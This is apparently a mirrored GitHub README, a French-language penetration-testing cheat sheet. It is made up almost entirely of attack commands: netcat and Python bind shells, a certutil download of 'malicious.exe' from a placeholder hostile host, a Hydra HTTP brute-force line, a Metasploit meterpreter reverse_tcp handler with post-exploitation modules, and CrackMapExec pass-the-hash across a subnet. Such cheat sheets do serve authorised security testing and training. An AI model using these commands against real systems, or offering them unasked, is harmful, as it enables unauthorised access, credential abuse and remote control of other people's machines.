Giter Site home page Giter Site logo

scripts's Introduction

Unix

Accorder les permissions pour un user specifique
setfacl -m u:username:rwx myfolder

Tunnel ssh dynamique sur le port local 8080:

ssh -ND 8080 root@addressIP

Rebonds avec ssh:

ssh -J root@premier_rebond root@cible

Port forwarding avec ssh:

ssh -NL port_local:cible_distante:port_cible_distante root@rebond</br>

Obtenir un shell

Ouvrent un shell sur le port 2222 :
 nc -lkvp 2222 -e /bin/bash
 python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(('',2222));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

On se connecte avec nc -nv 2222 adress port

Pour avoir un shell pty :

python -c "import pty; pty.spawn('/bin/bash')"

Pour avoir tab completion tout joli :

Prendre un shell pty avec la commande plus haut
 CTRL-Z
 stty raw -echo
 fg

Envoi fichier avec netcat :

nc -l -p 1234 > out.file
nc -w 3 [destination] 1234 < out.file

Hydra:

http-auth bute force

hydra -L user.txt -P password.txt -t12 -f x.x.x.x http-get / -V

XfreeRDP:

xfreerdp /f +clipboard /kbd:0x0000040C /u:USERNAME@DOMAIN /p:PASSWORD /v:IP

Windows

systeminfo pour obtenir des renseignements sur le systeme

net users [username] pour obtenir des renseignements sur les utilisateurs

net account information sur la politique de mot de passe

tasklist pour lister les processus

netstat -ano pour les connexions reseau

dir sysprep /s /b pour trouver un fichier dans le repertoire courant et ses sous-dossiers

wmic qfe list pour lister les mises à jour installées

certutil.exe -urlcache -split -f "https://hackers.home/malicious.exe" bad.exe le wget en cmd

certutil.exe -decode bad.txt bad.exe le base64 decode en cmd

Powershell

get-WmiObject -class Win32_Share

Metasploit

Handler :
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.8.142
set LPORT 8888
set ExitOnSession false
exploit -j -z

use post/multi/recon/local_exploit_suggester

run post/windows/manage/migrate pour changer sur un processus plus fiable

CrackMapExec

Une fois le hash administrateur récupéré sur un poste:

cme smb -u Administrateur -H HASH 192.168.20.0/24 --local-auth

scripts's People

Contributors

clayno avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.